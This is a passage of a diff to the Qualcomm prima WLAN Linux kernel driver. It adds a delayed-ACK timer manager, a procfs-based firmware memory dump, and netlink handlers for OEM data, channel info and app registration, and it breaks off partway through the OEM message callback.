+void hdd_update_prev_rx_packet_count(hdd_context_t *pHddCtx) +{ + hdd_adapter_list_node_t *pAdapterNode, *pNext; + hdd_adapter_t *pAdapter; + VOS_STATUS status; + + status = hdd_get_front_adapter ( pHddCtx, &pAdapterNode ); + while (NULL != pAdapterNode && VOS_STATUS_SUCCESS == status) { + pAdapter = pAdapterNode->pAdapter; + pAdapter->prev_rx_packets = pAdapter->stats.rx_packets; + status = hdd_get_next_adapter ( pHddCtx, pAdapterNode, &pNext ); + pAdapterNode = pNext; + } +} + +/** + * hdd_manage_delack_timer() - start\stop delack timer + * @pHddCtx: Valid Global HDD context pointer + * + * This function check the number of concerent session present, it starts the + * delack timer if only one session is present. + * In the case of BT_COEX and TDLS mode it blindly stop delack functionality. + * + * Return: void. + */ +void hdd_manage_delack_timer(hdd_context_t *pHddCtx) +{ + uint8_t sessions; + + if (!pHddCtx->cfg_ini->enable_delack) { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_DEBUG, + "%s: TCP DELACK is not enabled", __func__); + return; + } + + /* Blindly stop timer of BTCOEX and TDLS Session is up */ + if (pHddCtx->mode != 0) { + hdd_set_default_stop_delack_timer(pHddCtx); + return; + } + + sessions = hdd_get_total_sessions(pHddCtx); + if (sessions == 1) { + hdd_update_prev_rx_packet_count(pHddCtx); + hdd_start_delack_timer(pHddCtx); + } else { + hdd_set_default_stop_delack_timer(pHddCtx); + } +} + /**--------------------------------------------------------------------------- * * \brief wlan_hdd_init_channels @@ -12152,6 +14211,326 @@ int hdd_sta_id_find_from_mac_addr(hdd_adapter_t *pAdapter, return sta_id; } +/*FW memory dump feature*/ +/** + * This structure hold information about the /proc file + * + */ +static struct proc_dir_entry *proc_file, *proc_dir; + +/** + * memdump_read() - perform read operation in memory dump proc file + * + * @file - handle for the proc file. + * @buf - pointer to user space buffer. + * @count - number of bytes to be read. + * @pos - offset in the from buffer. + * + * This function performs read operation for the memory dump proc file. + * + * Return: number of bytes read on success, error code otherwise. + */ +static ssize_t memdump_read(struct file *file, char __user *buf, + size_t count, loff_t *pos) +{ + int status; + hdd_context_t *hdd_ctx = (hdd_context_t *)PDE_DATA(file_inode(file)); + size_t ret_count; + loff_t bytes_left; + ENTER(); + + hddLog(LOG1, FL("Read req for size:%zu pos:%llu"), count, *pos); + status = wlan_hdd_validate_context(hdd_ctx); + if (0 != status) { + return -EINVAL; + } + + if (!wlan_fwr_mem_dump_test_and_set_read_allowed_bit()) { + hddLog(LOGE, FL("Current mem dump request timed out/failed")); + return -EINVAL; + } + + /* run fs_read_handler in an atomic context*/ + vos_ssr_protect(__func__); + ret_count = wlan_fwr_mem_dump_fsread_handler( buf, count, pos, &bytes_left); + if(bytes_left == 0) + { + /*Free the fwr mem dump buffer */ + wlan_free_fwr_mem_dump_buffer(); + wlan_set_fwr_mem_dump_state(FW_MEM_DUMP_IDLE); + ret_count=0; + } + /*if SSR/unload code is waiting for memdump_read to finish,signal it*/ + vos_ssr_unprotect(__func__); + EXIT(); + return ret_count; +} + +/** + * struct memdump_fops - file operations for memory dump feature + * @read - read function for memory dump operation. + * + * This structure initialize the file operation handle for memory + * dump feature + */ +static const struct file_operations memdump_fops = { + read: memdump_read +}; + +/* +* wlan_hdd_fw_mem_dump_cb : callback for Fw mem dump request +* To be passed by HDD to WDA and called upon receiving of response +* from firmware +* @fwMemDumpReqContext : memory dump request context +* @dump_rsp : dump response from HAL +* Returns none +*/ +void wlan_hdd_fw_mem_dump_cb(void *fwMemDumpReqContext, + tAniFwrDumpRsp *dump_rsp) +{ + struct hdd_fw_mem_dump_req_ctx *pHddFwMemDumpCtx = (struct hdd_fw_mem_dump_req_ctx *)fwMemDumpReqContext; + + ENTER(); + spin_lock(&hdd_context_lock); + if(!pHddFwMemDumpCtx || (FW_MEM_DUMP_MAGIC != pHddFwMemDumpCtx->magic)) { + spin_unlock(&hdd_context_lock); + return; + } + /* report the status to requesting function and free mem.*/ + if (dump_rsp->dump_status != eHAL_STATUS_SUCCESS) { + hddLog(LOGE, FL("fw dump request declined by fwr")); + //set the request completion variable + complete(&(pHddFwMemDumpCtx->req_completion)); + //Free the allocated fwr dump + wlan_free_fwr_mem_dump_buffer(); + wlan_set_fwr_mem_dump_state(FW_MEM_DUMP_IDLE); + } + else { + hddLog(LOG1, FL("fw dump request accepted by fwr")); + /* register the HDD callback which will be called by SVC */ + wlan_set_svc_fw_mem_dump_req_cb((void*)wlan_hdd_fw_mem_dump_req_cb,(void*)pHddFwMemDumpCtx); + } + spin_unlock(&hdd_context_lock); + EXIT(); + +} + +/** + * memdump_procfs_remove() - Remove file/dir under procfs for memory dump + * + * This function removes file/dir under proc file system that was + * processing firmware memory dump + * + * Return: None + */ +static void memdump_procfs_remove(void) +{ + remove_proc_entry(PROCFS_MEMDUMP_NAME, proc_dir); + hddLog(LOG1 , FL("/proc/%s/%s removed\n"), + PROCFS_MEMDUMP_DIR, PROCFS_MEMDUMP_NAME); + remove_proc_entry(PROCFS_MEMDUMP_DIR, NULL); + hddLog(LOG1 , FL("/proc/%s removed\n"), PROCFS_MEMDUMP_DIR); +} + +/** + * memdump_procfs_init() - Initialize procfs for memory dump + * + * @vos_ctx - Global vos context. + * + * This function create file under proc file system to be used later for + * processing firmware memory dump + * + * Return: 0 on success, error code otherwise. + */ +static int memdump_procfs_init(void *vos_ctx) +{ + hdd_context_t *hdd_ctx; + + hdd_ctx = vos_get_context(VOS_MODULE_ID_HDD, vos_ctx); + if (!hdd_ctx) { + hddLog(LOGE , FL("Invalid HDD context")); + return -EINVAL; + } + + proc_dir = proc_mkdir(PROCFS_MEMDUMP_DIR, NULL); + if (proc_dir == NULL) { + remove_proc_entry(PROCFS_MEMDUMP_DIR, NULL); + hddLog(LOGE , FL("Error: Could not initialize /proc/%s"), + PROCFS_MEMDUMP_DIR); + return -ENOMEM; + } + + proc_file = proc_create_data(PROCFS_MEMDUMP_NAME, + S_IRUSR | S_IWUSR, proc_dir, + &memdump_fops, hdd_ctx); + if (proc_file == NULL) { + remove_proc_entry(PROCFS_MEMDUMP_NAME, proc_dir); + hddLog(LOGE , FL("Error: Could not initialize /proc/%s"), + PROCFS_MEMDUMP_NAME); + return -ENOMEM; + } + + hddLog(LOG1 , FL("/proc/%s/%s created"), + PROCFS_MEMDUMP_DIR, PROCFS_MEMDUMP_NAME); + + return 0; +} + +/** + * memdump_init() - Initialization function for memory dump feature + * + * This function creates proc file for memdump feature and registers + * HDD callback function with SME. + * + * Return - 0 on success, error otherwise + */ +int memdump_init(void) +{ + hdd_context_t *hdd_ctx; + void *vos_ctx; + int status = 0; + + vos_ctx = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); + if (!vos_ctx) { + hddLog(LOGE, FL("Invalid VOS context")); + return -EINVAL; + } + + hdd_ctx = vos_get_context(VOS_MODULE_ID_HDD, vos_ctx); + if (!hdd_ctx) { + hddLog(LOGE , FL("Invalid HDD context")); + return -EINVAL; + } + + status = memdump_procfs_init(vos_ctx); + if (status) { + hddLog(LOGE , FL("Failed to create proc file")); + return status; + } + + return 0; +} + +/** + * memdump_deinit() - De initialize memdump feature + * + * This function removes proc file created for memdump feature. + * + * Return: None + */ +int memdump_deinit(void) +{ + hdd_context_t *hdd_ctx; + void *vos_ctx; + + vos_ctx = vos_get_global_context(VOS_MODULE_ID_SYS, NULL); + if (!vos_ctx) { + hddLog(LOGE, FL("Invalid VOS context")); + return -EINVAL; + } + + hdd_ctx = vos_get_context(VOS_MODULE_ID_HDD, vos_ctx); + if(!hdd_ctx) { + hddLog(LOGE , FL("Invalid HDD context")); + return -EINVAL; + } + + memdump_procfs_remove(); + return 0; +} + +/** + * wlan_hdd_fw_mem_dump_req(pHddCtx) - common API(cfg80211/ioctl) for requesting fw mem dump to SME + * Return: HAL status + */ + +int wlan_hdd_fw_mem_dump_req(hdd_context_t * pHddCtx) +{ + tAniFwrDumpReq fw_mem_dump_req={0}; + struct hdd_fw_mem_dump_req_ctx fw_mem_dump_ctx; + eHalStatus status = eHAL_STATUS_FAILURE; + int ret=0, result; + ENTER(); + + /*Check whether a dump request is already going on + *Caution this function will free previously held memory if new dump request is allowed*/ + if (!wlan_fwr_mem_dump_test_and_set_write_allowed_bit()) { + hddLog(LOGE, FL("Fw memdump already in progress")); + return -EBUSY; + } + //Allocate memory for fw mem dump buffer + ret = wlan_fwr_mem_dump_buffer_allocation(); + if(ret == -EFAULT) + { + hddLog(LOGE, FL("Fwr mem dump not supported by FW")); + return ret; + } + if (0 != ret) { + hddLog(LOGE, FL("Fwr mem Allocation failed")); + return -ENOMEM; + } + init_completion(&fw_mem_dump_ctx.req_completion); + fw_mem_dump_ctx.magic = FW_MEM_DUMP_MAGIC; + fw_mem_dump_ctx.status = false; + + fw_mem_dump_req.fwMemDumpReqCallback = wlan_hdd_fw_mem_dump_cb; + fw_mem_dump_req.fwMemDumpReqContext = &fw_mem_dump_ctx; + status = sme_FwMemDumpReq(pHddCtx->hHal, &fw_mem_dump_req); + if(eHAL_STATUS_SUCCESS != status) + { + hddLog(VOS_TRACE_LEVEL_ERROR, + "%s: fw_mem_dump_req failed ", __func__); + wlan_free_fwr_mem_dump_buffer(); + ret = -EFAULT; + goto cleanup; + } + /*wait for fw mem dump completion to send event to userspace*/ + result = + wait_for_completion_timeout(&fw_mem_dump_ctx.req_completion, + msecs_to_jiffies(FW_MEM_DUMP_TIMEOUT_MS)); + if (0 >= result ) + { + hddLog(VOS_TRACE_LEVEL_ERROR, + "%s: fw_mem_dump_req timeout %d ", __func__,result); + ret = -ETIMEDOUT; + } +cleanup: + spin_lock(&hdd_context_lock); + fw_mem_dump_ctx.magic = 0; + if(!ret && !fw_mem_dump_ctx.status) + ret = -EFAULT; + spin_unlock(&hdd_context_lock); + + EXIT(); + return ret; +} + +/** + * HDD callback which will be called by SVC to indicate mem dump completion. + */ +void wlan_hdd_fw_mem_dump_req_cb(struct hdd_fw_mem_dump_req_ctx* pHddFwMemDumpCtx) +{ + if (!pHddFwMemDumpCtx) { + hddLog(VOS_TRACE_LEVEL_ERROR, + "%s: HDD context not valid ", __func__); + return; + } + spin_lock(&hdd_context_lock); + /* check the req magic and set status */ + if (pHddFwMemDumpCtx->magic == FW_MEM_DUMP_MAGIC) + { + pHddFwMemDumpCtx->status = true; + //signal the completion + complete(&(pHddFwMemDumpCtx->req_completion)); + } + else + { + hddLog(VOS_TRACE_LEVEL_ERROR, + "%s: fw mem dump request possible timeout ", __func__); + } + spin_unlock(&hdd_context_lock); +} + void hdd_initialize_adapter_common(hdd_adapter_t *pAdapter) { if (NULL == pAdapter) @@ -12191,6 +14570,7 @@ void hdd_initialize_adapter_common(hdd_adapter_t *pAdapter) return; } + //Register the module init/exit functions module_init(hdd_module_init); module_exit(hdd_module_exit); diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_oemdata.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_oemdata.c index 146efdd6f1958..9bc83726bef29 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_oemdata.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_oemdata.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2015-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -46,6 +46,10 @@ #include #include #include +#include "qwlan_version.h" + +static struct hdd_context_s *pHddCtx; + /*--------------------------------------------------------------------------------------------- \brief hdd_OemDataReqCallback() - @@ -315,4 +319,678 @@ int iw_set_oem_data_req( return ret; } +/**--------------------------------------------------------------------------- + + \brief iw_get_oem_data_cap() + + This function gets the capability information for OEM Data Request + and Response. + + \param - dev - Pointer to the net device + - info - Pointer to the t_iw_oem_data_cap + - wrqu - Pointer to the iwreq data + - extra - Pointer to the data + + \return - 0 for success, non zero for failure + +----------------------------------------------------------------------------*/ +int iw_get_oem_data_cap( + struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, + char *extra) +{ + eHalStatus status; + t_iw_oem_data_cap oemDataCap; + t_iw_oem_data_cap *pHddOemDataCap; + hdd_adapter_t *pAdapter = netdev_priv(dev); + hdd_context_t *pHddContext; + hdd_config_t *pConfig; + tANI_U32 numChannels; + tANI_U8 chanList[OEM_CAP_MAX_NUM_CHANNELS]; + tANI_U32 i; + int ret; + + ENTER(); + + if (!pAdapter) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s:Invalid context, pAdapter is null", __func__); + return -EINVAL; + } + + pHddContext = WLAN_HDD_GET_CTX(pAdapter); + ret = wlan_hdd_validate_context(pHddContext); + if (0 != ret) + return ret; + + pConfig = pHddContext->cfg_ini; + + do + { + vos_mem_zero(&oemDataCap, sizeof(oemDataCap)); + strlcpy(oemDataCap.oem_target_signature, OEM_TARGET_SIGNATURE, + OEM_TARGET_SIGNATURE_LEN); + oemDataCap.oem_target_type = TARGET_TYPE_PRONTO; + oemDataCap.oem_fw_version = 0; + oemDataCap.driver_version.major = QWLAN_VERSION_MAJOR; + oemDataCap.driver_version.minor = QWLAN_VERSION_MINOR; + oemDataCap.driver_version.patch = QWLAN_VERSION_PATCH; + oemDataCap.driver_version.build = QWLAN_VERSION_BUILD; + oemDataCap.allowed_dwell_time_min = pConfig->nNeighborScanMinChanTime; + oemDataCap.allowed_dwell_time_max = pConfig->nNeighborScanMaxChanTime; + oemDataCap.curr_dwell_time_min = + sme_getNeighborScanMinChanTime(pHddContext->hHal); + oemDataCap.curr_dwell_time_max = + sme_getNeighborScanMaxChanTime(pHddContext->hHal); + oemDataCap.supported_bands = pConfig->nBandCapability; + + /* request for max num of channels */ + numChannels = WNI_CFG_VALID_CHANNEL_LIST_LEN; + status = sme_GetCfgValidChannels(pHddContext->hHal, + &chanList[0], + &numChannels); + if (eHAL_STATUS_SUCCESS != status) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s:failed to get valid channel list", __func__); + return -ENOENT; + } + else + { + /* make sure num channels is not more than chan list array */ + if (numChannels > OEM_CAP_MAX_NUM_CHANNELS) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s:Num of channels(%d) more than length(%d) of chanlist", + __func__, numChannels, OEM_CAP_MAX_NUM_CHANNELS); + return -ENOMEM; + } + + oemDataCap.num_channels = numChannels; + for (i = 0; i < numChannels; i++) + { + oemDataCap.channel_list[i] = chanList[i]; + } + } + + pHddOemDataCap = (t_iw_oem_data_cap *)(extra); + vos_mem_copy(pHddOemDataCap, &oemDataCap, sizeof(*pHddOemDataCap)); + } while (0); + + EXIT(); + return 0; +} + +/**--------------------------------------------------------------------------- + + \brief send_oem_reg_rsp_nlink_msg() - send oem registration response + + This function sends oem message to registered application process + + \param - + - none + + \return - none + + --------------------------------------------------------------------------*/ +static void send_oem_reg_rsp_nlink_msg(void) +{ + struct sk_buff *skb; + struct nlmsghdr *nlh; + tAniMsgHdr *aniHdr; + tANI_U8 *buf; + tANI_U8 *numInterfaces; + tANI_U8 *deviceMode; + tANI_U8 *vdevId; + hdd_adapter_list_node_t *pAdapterNode = NULL; + hdd_adapter_list_node_t *pNext = NULL; + hdd_adapter_t *pAdapter = NULL; + VOS_STATUS status = 0; + + /* OEM message is always to a specific process and cannot be a broadcast */ + if (pHddCtx->oem_pid == 0) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: invalid dest pid", __func__); + return; + } + + skb = alloc_skb(NLMSG_SPACE(WLAN_NL_MAX_PAYLOAD), GFP_KERNEL); + if (skb == NULL) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: alloc_skb failed", __func__); + return; + } + + nlh = (struct nlmsghdr *)skb->data; + nlh->nlmsg_pid = 0; /* from kernel */ + nlh->nlmsg_flags = 0; + nlh->nlmsg_seq = 0; + nlh->nlmsg_type = WLAN_NL_MSG_OEM; + aniHdr = NLMSG_DATA(nlh); + aniHdr->type = ANI_MSG_APP_REG_RSP; + + /* Fill message body: + * First byte will be number of interfaces, followed by + * two bytes for each interfaces + * - one byte for device mode + * - one byte for vdev id + */ + buf = (char *) ((char *)aniHdr + sizeof(tAniMsgHdr)); + numInterfaces = buf++; + *numInterfaces = 0; + + /* Iterate through each of the adapters and fill device mode and vdev id */ + status = hdd_get_front_adapter(pHddCtx, &pAdapterNode); + while ((VOS_STATUS_SUCCESS == status) && pAdapterNode) + { + pAdapter = pAdapterNode->pAdapter; + if (pAdapter) + { + deviceMode = buf++; + vdevId = buf++; + *deviceMode = pAdapter->device_mode; + *vdevId = pAdapter->sessionId; + (*numInterfaces)++; + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: numInterfaces: %d, deviceMode: %d, vdevId: %d", + __func__, *numInterfaces, *deviceMode, *vdevId); + } + status = hdd_get_next_adapter(pHddCtx, pAdapterNode, &pNext); + pAdapterNode = pNext; + } + + aniHdr->length = sizeof(tANI_U8) + (*numInterfaces) * 2 * sizeof(tANI_U8); + nlh->nlmsg_len = NLMSG_LENGTH((sizeof(tAniMsgHdr) + aniHdr->length)); + + skb_put(skb, NLMSG_SPACE((sizeof(tAniMsgHdr) + aniHdr->length))); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: sending App Reg Response length (%d) to process pid (%d)", + __func__, aniHdr->length, pHddCtx->oem_pid); + + (void)nl_srv_ucast(skb, pHddCtx->oem_pid, MSG_DONTWAIT); + + return; +} + +/**--------------------------------------------------------------------------- + + \brief send_oem_err_rsp_nlink_msg() - send oem error response + + This function sends error response to oem app + + \param - + - app_pid - PID of oem application process + + \return - none + + --------------------------------------------------------------------------*/ +static void send_oem_err_rsp_nlink_msg(v_SINT_t app_pid, tANI_U8 error_code) +{ + struct sk_buff *skb; + struct nlmsghdr *nlh; + tAniMsgHdr *aniHdr; + tANI_U8 *buf; + + skb = alloc_skb(NLMSG_SPACE(WLAN_NL_MAX_PAYLOAD), GFP_KERNEL); + if (skb == NULL) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: alloc_skb failed", __func__); + return; + } + + nlh = (struct nlmsghdr *)skb->data; + nlh->nlmsg_pid = 0; /* from kernel */ + nlh->nlmsg_flags = 0; + nlh->nlmsg_seq = 0; + nlh->nlmsg_type = WLAN_NL_MSG_OEM; + aniHdr = NLMSG_DATA(nlh); + aniHdr->type = ANI_MSG_OEM_ERROR; + aniHdr->length = sizeof(tANI_U8); + nlh->nlmsg_len = NLMSG_LENGTH(sizeof(tAniMsgHdr) + aniHdr->length); + + /* message body will contain one byte of error code */ + buf = (char *) ((char *) aniHdr + sizeof(tAniMsgHdr)); + *buf = error_code; + + skb_put(skb, NLMSG_SPACE(sizeof(tAniMsgHdr) + aniHdr->length)); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: sending oem error response to process pid (%d)", + __func__, app_pid); + + (void)nl_srv_ucast(skb, app_pid, MSG_DONTWAIT); + + return; +} + +/**--------------------------------------------------------------------------- + + \brief send_oem_data_rsp_msg() - send oem data response + + This function sends oem data rsp message to registered application process + over the netlink socket. + + \param - + - oemDataRsp - Pointer to OEM Data Response struct + + \return - 0 for success, non zero for failure + + --------------------------------------------------------------------------*/ +void send_oem_data_rsp_msg(tANI_U32 length, tANI_U8 *oemDataRsp) +{ + struct sk_buff *skb; + struct nlmsghdr *nlh; + tAniMsgHdr *aniHdr; + tANI_U8 *oemData; + + /* OEM message is always to a specific process and cannot be a broadcast */ + if (pHddCtx->oem_pid == 0) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: invalid dest pid", __func__); + return; + } + + if (length > NEW_OEM_DATA_RSP_SIZE) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: invalid length of Oem Data response", __func__); + return; + } + + skb = alloc_skb(NLMSG_SPACE(sizeof(tAniMsgHdr) + length), + GFP_KERNEL); + if (skb == NULL) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: alloc_skb failed", __func__); + return; + } + + nlh = (struct nlmsghdr *)skb->data; + nlh->nlmsg_pid = 0; /* from kernel */ + nlh->nlmsg_flags = 0; + nlh->nlmsg_seq = 0; + nlh->nlmsg_type = WLAN_NL_MSG_OEM; + aniHdr = NLMSG_DATA(nlh); + aniHdr->type = ANI_MSG_OEM_DATA_RSP; + + aniHdr->length = length; + nlh->nlmsg_len = NLMSG_LENGTH((sizeof(tAniMsgHdr) + aniHdr->length)); + oemData = (tANI_U8 *) ((char *)aniHdr + sizeof(tAniMsgHdr)); + vos_mem_copy(oemData, oemDataRsp, length); + + skb_put(skb, NLMSG_SPACE((sizeof(tAniMsgHdr) + aniHdr->length))); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: sending Oem Data Response of len (%d) to process pid (%d)", + __func__, length, pHddCtx->oem_pid); + + (void)nl_srv_ucast(skb, pHddCtx->oem_pid, MSG_DONTWAIT); + + return; +} + +/**--------------------------------------------------------------------------- + + \brief oem_process_channel_info_req_msg() - process oem channel_info request + + This function responds with channel info to oem process + + \param - + - numOfChannels - number of channels + - chanList - channel list + + \return - 0 for success, non zero for failure + + --------------------------------------------------------------------------*/ +static int oem_process_channel_info_req_msg(int numOfChannels, char *chanList) +{ + struct sk_buff *skb; + struct nlmsghdr *nlh; + tAniMsgHdr *aniHdr; + tHddChannelInfo *pHddChanInfo; + tHddChannelInfo hddChanInfo; + tANI_U8 chanId; + tANI_U32 reg_info_1; + tANI_U32 reg_info_2; + eHalStatus status = eHAL_STATUS_FAILURE; + int i; + tANI_U8 *buf; + + /* OEM message is always to a specific process and cannot be a broadcast */ + if (pHddCtx->oem_pid == 0) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: invalid dest pid", __func__); + return -1; + } + + skb = alloc_skb(NLMSG_SPACE(sizeof(tAniMsgHdr) + sizeof(tANI_U8) + + numOfChannels * sizeof(tHddChannelInfo)), GFP_KERNEL); + if (skb == NULL) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: alloc_skb failed", __func__); + return -1; + } + + nlh = (struct nlmsghdr *)skb->data; + nlh->nlmsg_pid = 0; /* from kernel */ + nlh->nlmsg_flags = 0; + nlh->nlmsg_seq = 0; + nlh->nlmsg_type = WLAN_NL_MSG_OEM; + aniHdr = NLMSG_DATA(nlh); + aniHdr->type = ANI_MSG_CHANNEL_INFO_RSP; + + aniHdr->length = sizeof(tANI_U8) + numOfChannels * sizeof(tHddChannelInfo); + nlh->nlmsg_len = NLMSG_LENGTH((sizeof(tAniMsgHdr) + aniHdr->length)); + + /* First byte of message body will have num of channels */ + buf = (char *) ((char *)aniHdr + sizeof(tAniMsgHdr)); + *buf++ = numOfChannels; + + /* Next follows channel info struct for each channel id. + * If chan id is wrong or SME returns failure for a channel + * then fill in 0 in channel info for that particular channel + */ + for (i = 0 ; i < numOfChannels; i++) + { + pHddChanInfo = (tHddChannelInfo *) ((char *) buf + + i * sizeof(tHddChannelInfo)); + + chanId = chanList[i]; + status = sme_getRegInfo(pHddCtx->hHal, chanId, + ®_info_1, ®_info_2); + if (eHAL_STATUS_SUCCESS == status) + { + /* band center freq1, and freq2 depends on peer's capability + * and at this time we might not be associated on the given + * channel, so fill freq1=mhz, and freq2=0 + */ + hddChanInfo.chan_id = chanId; + hddChanInfo.reserved0 = 0; + hddChanInfo.mhz = vos_chan_to_freq(chanId); + hddChanInfo.band_center_freq1 = hddChanInfo.mhz; + hddChanInfo.band_center_freq2 = 0; + + /* set only DFS flag in info, rest of the fields will be filled in + * by the OEM App + */ + hddChanInfo.info = 0; + if (NV_CHANNEL_DFS == vos_nv_getChannelEnabledState(chanId)) + hddChanInfo.info |= (1 << WLAN_HAL_CHAN_FLAG_DFS); + + hddChanInfo.reg_info_1 = reg_info_1; + hddChanInfo.reg_info_2 = reg_info_2; + } + else + { + /* chanId passed to sme_getRegInfo is not valid, fill in zeros + * in channel info struct + */ + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: sme_getRegInfo failed for chan (%d), return info 0", + __func__, chanId); + hddChanInfo.chan_id = chanId; + hddChanInfo.reserved0 = 0; + hddChanInfo.mhz = 0; + hddChanInfo.band_center_freq1 = 0; + hddChanInfo.band_center_freq2 = 0; + hddChanInfo.info = 0; + hddChanInfo.reg_info_1 = 0; + hddChanInfo.reg_info_2 = 0; + } + vos_mem_copy(pHddChanInfo, &hddChanInfo, sizeof(tHddChannelInfo)); + } + + skb_put(skb, NLMSG_SPACE((sizeof(tAniMsgHdr) + aniHdr->length))); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "%s: sending channel info resp for num channels (%d) to pid (%d)", + __func__, numOfChannels, pHddCtx->oem_pid); + + (void)nl_srv_ucast(skb, pHddCtx->oem_pid, MSG_DONTWAIT); + + return 0; +} + +/**--------------------------------------------------------------------------- + + \brief oem_process_data_req_msg() - process oem data request + + This function sends oem message to SME + + \param - + - oemDataLen - Length to OEM Data buffer + - oemData - Pointer to OEM Data buffer + + \return - eHalStatus enumeration + + --------------------------------------------------------------------------*/ +void oem_process_data_req_msg(int oemDataLen, char *oemData) +{ + tOemDataReqNewConfig oemDataReqNewConfig; + hdd_adapter_t *pAdapter = NULL; + + /* for now, STA interface only */ + pAdapter = hdd_get_adapter(pHddCtx, WLAN_HDD_INFRA_STATION); + if (!pAdapter) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: No adapter for STA mode", __func__); + return; + } + + if (!oemData) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: oemData is null", __func__); + return; + } + + vos_mem_zero(&oemDataReqNewConfig, sizeof(tOemDataReqNewConfig)); + vos_mem_copy(&oemDataReqNewConfig.selfMacAddr, + pAdapter->macAddressCurrent.bytes, sizeof(tSirMacAddr)); + vos_mem_copy(&oemDataReqNewConfig.oemDataReqNew, oemData, oemDataLen); + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, + "selfMacAddr: " MAC_ADDRESS_STR" ", + MAC_ADDR_ARRAY(oemDataReqNewConfig.selfMacAddr)); + + sme_OemDataReqNew(pHddCtx->hHal, + &oemDataReqNewConfig); +} + +/* + * Callback function invoked by Netlink service for all netlink + * messages (from user space) addressed to WLAN_NL_MSG_OEM + */ + +/** + * oem_msg_callback() - callback invoked by netlink service + * @skb: skb with netlink message + * + * This function gets invoked by netlink service when a message + * is received from user space addressed to WLAN_NL_MSG_OEM + * + * Return: zero on success + * On error, error number will be returned. + */ +static int oem_msg_callback(struct sk_buff *skb) +{ + struct nlmsghdr *nlh; + tAniMsgHdr *msg_hdr; + int ret; + char *sign_str = NULL; + char* aniMsgBody; + tANI_U32 *oemMsgSubType; + + nlh = (struct nlmsghdr *)skb->data; + + if (!nlh) { + hddLog(LOGE, FL("Netlink header null")); + return -EPERM; + } + + ret = wlan_hdd_validate_context(pHddCtx); + if (0 != ret) { + hddLog(LOGE, FL("HDD context is not valid")); + return ret; + } + + msg_hdr = NLMSG_DATA(nlh); + + if (!msg_hdr) { + hddLog(LOGE, FL("Message header null")); + send_oem_err_rsp_nlink_msg(nlh->nlmsg_pid, OEM_ERR_NULL_MESSAGE_HEADER); + return -EPERM; + } + + if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(tAniMsgHdr) + msg_hdr->length)) { + hddLog(LOGE, FL("Invalid nl msg len, nlh->nlmsg_len (%d), msg_hdr->len (%d)"), + nlh->nlmsg_len, msg_hdr->length); + send_oem_err_rsp_nlink_msg(nlh->nlmsg_pid, + OEM_ERR_INVALID_MESSAGE_LENGTH); + return -EPERM; + } + + hddLog(LOG1, FL("Received App msg type: %d"), msg_hdr->type); + + switch (msg_hdr->type) { + case ANI_MSG_APP_REG_REQ: + /* Registration request is only allowed for Qualcomm Application */ + hddLog(LOG1, FL("Received App Req Req from App process pid(%d), len(%d)"), + nlh->nlmsg_pid, msg_hdr->length); + + sign_str = (char *)((char *)msg_hdr + sizeof(tAniMsgHdr)); + if ((OEM_APP_SIGNATURE_LEN == msg_hdr->length) && + (0 == strncmp(sign_str, OEM_APP_SIGNATURE_STR, + OEM_APP_SIGNATURE_LEN))) { + hddLog(LOG1, FL("Valid App Req Req from oem app process pid(%d)"), + nlh->nlmsg_pid); + + pHddCtx->oem_app_registered = TRUE; + pHddCtx->oem_pid = nlh->nlmsg_pid; + send_oem_reg_rsp_nlink_msg(); + } else { + hddLog(LOGE, FL("Invalid signature in App Reg Request from pid(%d)"), + nlh->nlmsg_pid); + send_oem_err_rsp_nlink_msg(nlh->nlmsg_pid, + OEM_ERR_INVALID_SIGNATURE); + return -EPERM; + } + break; + + case ANI_MSG_OEM_DATA_REQ: + hddLog(LOG1, FL("Received Oem Data Request length(%d) from pid: %d"), + msg_hdr->length, nlh->nlmsg_pid); + + if ((!pHddCtx->oem_app_registered) || + (nlh->nlmsg_pid != pHddCtx->oem_pid)) { + /* either oem app is not registered yet or pid is different */ + hddLog(LOGE, FL("OEM DataReq: app not registered(%d) or incorrect pid(%d)"), + pHddCtx->oem_app_registered, nlh->nlmsg_pid); + 